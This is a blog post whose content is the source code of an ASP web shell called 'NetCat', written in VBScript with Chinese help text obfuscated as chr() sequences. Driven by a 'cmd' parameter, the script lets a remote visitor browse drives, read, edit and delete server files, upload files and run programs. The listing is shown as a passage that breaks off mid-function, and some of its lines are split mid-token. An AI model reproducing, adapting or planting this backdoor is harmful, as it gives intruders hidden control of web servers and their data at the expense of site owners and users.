Chinadu's Blog

以下是源代码：

<%@ LANGUAGE = VBScript %>
<%
Dim cmd
cmd=trim(request("cmd"))
select case ucase(cmd)
       case "DIR"
            call fDIR()
            AspEnd
       case "TYPE"
            call fTYPE()
            AspEnd
       case "EDIT"
            call fEDIT()
            AspEnd
       case "COPY"
            call fCOPY()
            AspEnd
       case "MOVE"
            call fMOVE()
            AspEnd
       case "DEL"
            call fDEL()
            AspEnd
       case "DELTREE"
            call fDELTREE()
            AspEnd
       case "RUN"
            call fRUN()
            AspEnd
       case "FINDFILE"
            call fFINDFILE()
            AspEnd
       case "UPFILE"
            call fUPFILE()
            AspEnd
       case "REN"
            call fREN()
            AspEnd
       case "DIRMAKE"
            call fDIRMAKE()
            AspEnd
       case "DIRCOPY"
            call fDIRCOPY()
            AspEnd
       case "DIRMOVE"
            call fDIRMOVE()
            AspEnd
       case "DIRDEL"
            call fDIRDEL()
            AspEnd
       case "VER"
            call fVER()
            AspEnd
       case "HELP"
            call fHELP()
            AspEnd
       case "?"
            call fHELP()
            AspEnd
End select

'------------------------------------------------------------------
''=====================================================
Function fHELP()
Dim HelpStr(16,1)
Dim helpi

HelpStr(0,0)="<a href=" & SelfName() & "?cmd=help>HELP|?</a>"
HelpStr(0,1)="NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987)

HelpStr(1,0)="<a href=" & SelfName() & "?cmd=dir&par=/?>DIR</a>"
HelpStr(1,1)=chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987)

HelpStr(2,0)="<a href=" & SelfName() & "?cmd=type&par=/?>TYPE</a>"
HelpStr(2,1)=chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)

HelpStr(3,0)="<a href=" & SelfName() & "?cmd=edit&par=/?>EDIT</a>"
HelpStr(3,1)="ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601)

HelpStr(4,0)="<a href=" & SelfName() & "?cmd=copy>COPY</a>"
HelpStr(4,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)

HelpStr(5,0)="<a href=" & SelfName() & "?cmd=move>MOVE</a>"
HelpStr(5,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-11578)+chr(-18769)

HelpStr(6,0)="<a href=" & SelfName() & "?cmd=del&par=/?>DEL</a>"
HelpStr(6,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)

HelpStr(7,0)="<a href=" & SelfName() & "?cmd=deltree&par=/?>DELTREE</a>"
HelpStr(7,1)=chr(-14363)+chr(-16427)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)

HelpStr(8,0)="<a href=" & SelfName() & "?cmd=run&par=/?>RUN</a>"
HelpStr(8,1)=chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)

HelpStr(9,0)="<a href=" & SelfName() & "?cmd=findfile>FINDFILE</a>"
HelpStr(9,1)=chr(-19735)+chr(-10798)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)

HelpStr(10,0)="<a href=" & SelfName() & "?cmd=upfile&par=/?>UPFILE</a>"
HelpStr(10,1)=chr(-13873)+chr(-19285)+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-19011)+chr(-15169)+chr(-19990)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12613)+chr(-10557)+chr(-13873)

HelpStr(11,0)="<a href=" & SelfName() & "?cmd=ren>REN</a>"
HelpStr(11,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)

HelpStr(12,0)="<a href=" & SelfName() & "?cmd=dirmake&par=/?>DIRMAKE</a>"
HelpStr(12,1)=chr(-18434)+chr(-12559
)+chr(-14601)+chr(-18741)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)

HelpStr(13,0)="<a href=" & SelfName() & "?cmd=dircopy>DIRCOPY</a>"
HelpStr(13,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-18252)+chr(-10554)

HelpStr(14,0)="<a href=" & SelfName() & "?cmd=dirmove>DIRMOVE</a>"
HelpStr(14,1)=chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769)

HelpStr(15,0)="<a href=" & SelfName() & "?cmd=dirdel&par=/?>DIRDEL</a>"
HelpStr(15,1)=chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)

HelpStr(16,0)="<a href=" & SelfName() & "?cmd=ver>VER</a>"
HelpStr(16,1)="NetCat("+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+")"+chr(-20250)+chr(-20034)+chr(-12091)+chr(-12382)+chr(-11564)+chr(-17232)+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)

pcmdhostinfo
response.write "HELP|?"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" "+chr(-15364)+chr(-15890)+chr(-15920)+chr(-19987)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=["+chr(-15364)+chr(-15890)+"][&par=["+chr(-19762)+chr(-13571)+"]]<br><br>["+chr(-15364)+chr(-15890)+"]<br><br>"
response.write "<table border=0 width=700 cellspacing=5 cellpadding=0>"
for helpi=0 to ubound(HelpStr)
   response.write "<tr><td width=120 id=site>" & HelpStr(helpi,0) & "</td><td width=580>" & HelpStr(helpi,1) & "</td></tr>"
next
response.write "</table>"
End Function 
''=====================================================
Function fTYPE()
dim typepar
dim typefso
dim typefile
dim typefile1
dim scontenttmp
typepar=trim(request("par"))
pcmdhostinfo

if typepar="?" or typepar="/?" or typepar="-?" or typepar="" then
response.write "TYPE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-11564)+"ASCII"+chr(-12082)+chr(-13635)+chr(-12332)+chr(-13634)+chr(-10568)+chr(-18776)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=type&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if


typepar=vir2abs(typepar)
set typefso=server.createobject("Scripting.FileSystemObject")
if typefso.FileExists(typepar) then
   set typefile=typefso.opentextfile(typepar,1)
   set typefile1=typefso.getfile(typepar)
   if typefile1.size>0 then
       scontenttmp=typefile.readall
       scontenttmp=replace(scontenttmp,"<textarea>","[textarea]")
       scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]")
       scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]")
       scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]")
       response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127>" & scontenttmp & "</textarea>"
     else
       response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & typefile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & typepar & "<br><textarea rows=29 cols=127></textarea>"
   end if
   set typefile=nothing
   set typefile1=nothing
  else
   response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)
end if
set typefso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fDIR()
Dim dirpar
dim dirfso
dim dirfolder
dim dirfolders
dim dirfile
dim dirfiles
dim dirdriver
dim dirdrivers
dim itemtmp
dim strlink
dim strshow
dirpar=trim(request("par"))
pcmdhostinfo

set dirfso=server.createobject("Scripting.FileSystemObject")

if dirpar="?" or ucase(dirpar)="/?" or ucase(dirpar)="-?" then
response.write "DIR"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-15920)+chr(-19466)+chr(-19023)+chr(-14416)+chr(-17422)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15920)+chr(-19987)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dir[&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-19514)+chr(-17422)+chr(-12604)+chr(-17154)+chr(-15365)+"<br><br>"
response.write "      "+chr(-14620)+chr(-10544)+chr(-11100)+chr(-18776)+chr(-11547)+chr(-19762)+chr(-13571)+chr(-12630)+chr(-23622)+"<br><br>      #       "+chr(-23622)+"  |acrs|<br><br>"
response.write "      "+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+chr(-23622)+"  |mycomputer|<br><br>"
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

if dirpar="" then
   dirpar=AppPath()
end if

if dirpar="|mycomputer|" or dirpar="|alldrivers|" or dirpar="|alldriver|" or dirpar="|alldrv|" or dirpar="|top|" or dirpar="|list|" then
   set dirdrivers=dirfso.Drives
   response.wri
te chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622)+"<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+"</a><br><br>"
   for each dirdriver in dirdrivers
       if dirdriver.DriveType=1 then
          if dirdriver.IsReady=TRUE then
             response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ")</a>  ["+chr(-16439)+chr(-11325)+"]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>"
            else
             response.write "3.5 "+chr(-14099)+chr(-14900)+"(" & dirdriver & ")  ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>"
          end if
       end if
       if dirdriver.DriveType=2 then
          strshow=dirdriver.VolumeName
          if trim(strshow)="" then
             strshow=chr(-20034)+chr(-18984)+chr(-19259)+chr(-14900)
          end if
          response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & strshow & "(" & dirdriver & ")</a>  [" & dirdriver.FileSystem & "]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]  ["+chr(-11567)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.TotalSize-dirdriver.AvailableSpace) & "]  ["+chr(-16439)+chr(-11325)+chr(-16427)+chr(-17180)+chr(-23622) & FormatNumber(dirdriver.AvailableSpace) & "]<br>"
       end if
       if dirdriver.DriveType=3 then
          response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">" & dirdriver & "("+chr(-11082)+chr(-19508)+chr(-19259)+chr(-14900)+")</a><br>"
       end if
       if dirdriver.DriveType=4 then
          if dirdriver.IsReady=TRUE then
              response.write "<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & dirdriver & ">"+chr(-17950)+chr(-14900)+"(" & dirdriver & ")</a>  ["+chr(-16439)+chr(-11325)+"]  ["+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirdriver.TotalSize) & "]<br>"
             else
              response.write chr(-17950)+chr(-14900)+"(" & dirdriver & ")  ["+chr(-19781)+chr(-16439)+chr(-11325)+"]<br>"
          end if
       end if       
   next
   exit function
end if

dirpar=vir2abs(dirpar)

if dirfso.FolderExists(dirpar) then
    set dirfolder=dirfso.GetFolder(dirpar)
    set dirfolders=dirfolder.subfolders
    set dirfiles=dirfolder.files
    strshow=replace(dirpar,chr(32)," ")
    response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & strshow & "<br>"
    if dirfolder.IsRootFolder=false then
       strlink=dirfolder.ParentFolder.path
       strlink=replace(strlink,chr(32),"%20")
       strlink=replace(strlink,"#","|acrs|")
       response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>"
      else
       response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=|mycomputer|>"+chr(-13873)+chr(-11589)+chr(-17226)+chr(-15169)+chr(-15684)+"</a>><br>"
    end if
    for each itemtmp in dirfolders
        strlink=itemtmp
        strlink=replace(strlink,chr(32),"%20")
        strlink=replace(strlink,"#","|acrs|")
        strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ")
        response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>"
        response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
        response.write "      "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>"
    next
    response.write "<br>"
    for each itemtmp in dirfiles
        response.write itemtmp.name
        response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
        response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>"
    next
    set dirfolder=nothing
    set dirfolders=nothing
    set dirfiles=nothing
    set itemtmp=nothing
   else
    if instr(dirpa
r,"*")>0 or instr(dirpar,"?")>0 then
        if dirfso.FolderExists(left(dirpar,instrrev(dirpar,"\")-1)) then
           set dirfolder=dirfso.GetFolder(left(dirpar,instrrev(dirpar,"\")-1))
           set dirfolders=dirfolder.subfolders
           set dirfiles=dirfolder.files
           for each itemtmp in dirfolders
               if myLike(mid(dirpar,instrrev(dirpar,"\")+1),mid(itemtmp,instrrev(itemtmp,"\")+1))=True then
                  strlink=itemtmp
                  strlink=replace(strlink,chr(32),"%20")
                  strlink=replace(strlink,"#","|acrs|")
                  strshow=replace(mid(itemtmp,instrrev(itemtmp,"\")+1),chr(32)," ")
                  response.write "<<a href=" & Request.ServerVariables("SCRIPT_NAME") & "?cmd=dir&par=" & strlink & ">" & strshow & "</a>>"
                  response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
                  response.write "      "+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & itemtmp & "<br>"
               end if
           next
           response.write "<br>"
           for each itemtmp in dirfiles
                if mylike(mid(dirpar,instrrev(dirpar,"\")+1),itemtmp.name)=True then
                   response.write itemtmp.name
                   response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & itemtmp.DateCreated
                   response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(itemtmp.Size) & "<br>"
                end if
           next
           set dirfolder=nothing
           set dirfolders=nothing
           set dirfiles=nothing
           set itemtmp=nothing
       end if
     else
       if dirfso.FileExists(dirpar) then
          set dirfile=dirfso.getfile(dirpar)
          response.write chr(-19023)+chr(-14416)+chr(-15169)+chr(-15684)+chr(-23622) & dirfile.ParentFolder & "<br><br>"
          response.write dirfile.Name
          response.write "      "+chr(-19276)+chr(-16984)+chr(-14123)+chr(-14630)+chr(-23622) & dirfile.DateCreated
          response.write "      "+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & FormatNumber(dirfile.Size)
          set dirfile=nothing
         else
          response.write chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-17422)+chr(-12604)+chr(-17154)
          exit function
      end if
   end if
end if
set dirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================================================
Function fEDIT()
dim editpar
dim editfso
dim editfile
dim editfile1
dim savefile
dim scontenttmp
editpar=trim(request("par"))
pcmdhostinfo


if editpar="?" or editpar="/?" or editpar="-?" then
response.write "EDIT"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+"ASCII"+chr(-16160)+chr(-12083)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-20000)+chr(-17235)+chr(-14601)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=edit&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

if request.form("editmethod")="save" then
   if trim(request.form("filename"))="" then
       response.write chr(-20061)+chr(-19226)+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12620)+chr(-13596)+chr(-14101)+chr(-12056)+chr(-11606)+chr(-20061)+chr(-19226)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)
       response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
       exit function
      else
       if chkchar(long2short(request.form("filename")))=false then
           response.write chr(-20061)+chr(-19226)
+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437)
           response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
           exit function
         else
           Dim editsavefso
           set editsavefso = server.createobject("Scripting.FileSystemObject")
           if editsavefso.FileExists(vir2abs(request.form("filename"))) then
               response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
               response.write "<input type=hidden name=editmethod value=resave>"
               response.write "<input type=hidden name=filename value=" & vir2abs(request.form("filename")) & ">"
               response.write "<input type=hidden name=filecontent value=" & request.form("filecontent") & ">"
               response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617)
               response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>"
               response.write "</form>"
             else
               dim editsavetextstream
               set editsavetextstream=editsavefso.opentextfile(vir2abs(request.form("filename")),2,true)
               scontenttmp=request.form("filecontent")
               scontenttmp=replace(scontenttmp,"[textarea]","<textarea>")
               scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>")
               scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>")
               scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>")
               editsavetextstream.write scontenttmp
               editsavetextstream.close
               set editsavetextstream=nothing
               response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647)
           end if
           set editsavefso=nothing
           exit function
        end if
   end if
  else
   if request.form("editmethod")="resave" then
       Dim editresavefso,editresavetextstream
       set editresavefso = server.createobject("Scripting.FileSystemObject")
       set editresavetextstream=editresavefso.opentextfile(request.form("filename"),2,true)
       scontenttmp=request.form("filecontent")
       scontenttmp=replace(scontenttmp,"[textarea]","<textarea>")
       scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>")
       scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>")
       scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>")
       editresavetextstream.write scontenttmp
       editresavetextstream.close
       set editresavetextstream=nothing
       set editresavefso=nothing
       response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647)
       exit function
   end if
end if

if editpar="" and trim(request.form("editmethod"))="" and trim(request.form("filename"))="" then
    response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
    response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622)+chr(-12620)+chr(-10582)+"<br>"+chr(-10316)+chr(-13140)+chr(-23622)+chr(-12094)+chr(-16984)+chr(-12604)+chr(-17154)+"<br>"+chr(-14357)+chr(-13596)+chr(-14101)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23622)+"<input type=text name=filename><br><textarea rows=29 name=filecontent cols=127></textarea>"
    response.write "<input type=hidden name=editmethod value=save>"
    response.write "<p align=center><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>"
    response.write "</form>"
   else
    editpar=vir2abs(editpar)
    savefile=editpar
    set editfso=server.createobject("Scripting.FileSystemObject")
    if editfso.FileExists(editpar) then
       response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>"
       set editfile=editfso.opentextfile(editpar,1)
       set editfile1=editfso.getfile(editpar)
 &nbs
p;     if editfile1.size>0 then
          scontenttmp=editfile.readall
          scontenttmp=replace(scontenttmp,"<textarea>","[textarea]")
          scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]")
          scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]")
          scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]")
          response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127>" & scontenttmp & "</textarea>"
         else
          response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127></textarea>"
       end if
       set typefile=nothing
       set typefile1=nothing
       response.write "<input type=hidden name=editmethod value=resave>"
       response.write "<input type=hidden name=filename value=" & editpar & ">"
       response.write "<p align=center><input type=button value="+chr(-12094)+chr(-16984)+" class=catbutton onclick=javascript:location=" & chr(39) & SelfName() & "?cmd=edit" & chr(39) & "><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>"
       response.write "</form>"
      else
       response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)
    end if
    set typefso=nothing
end if

response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
''===============================================================================================================
Function fCOPY()
dim srcfile
dim tarfile
dim copyfso
srcfile=trim(request("par1"))
tarfile=trim(request("par2"))
pcmdhostinfo

if srcfile="?" or srcfile="/?" or srcfile="-?" or tarfile="?" or tarfile="/?" or tarfile="-?" or srcfile="" or tarfile="" then
response.write "COPY"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=copy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set copyfso=server.createobject("Scripting.FileSystemObject")

if request("copymethod")<>"recopy" then
      srcfile=vir2abs(srcfile)
      tarfile=vir2abs(tarfile)
      if copyfso.FileExists(srcfile) then
           if copyfso.FileExists(tarfile) then
               response.write "<form name=copyform method=post action=" & SelfName() & "?cmd=copy>"
               response.write "<input type=hidden name=copymethod value=recopy>"
               response.write "<input type=hidden name=srcfilename value=" & srcfile & ">"
               response.write "<input type=hidden name=tarfilename value=" & tarfile & ">"
               response.write tarfile & "<br>    "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617)
               response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>"
               response.write "</form>"
             else
               copyfso.CopyFile srcfile,tarfile
               response.write "file(s) copied"+chr(-23622)+"<br><br>    "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br>    "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile 
          end if
         else
          response.write chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
      end if
   else
      srcfile
=vir2abs(request("srcfilename"))
      tarfile=vir2abs(request("tarfilename"))
      if trim(srcfile)="" or trim(tarfile)="" then
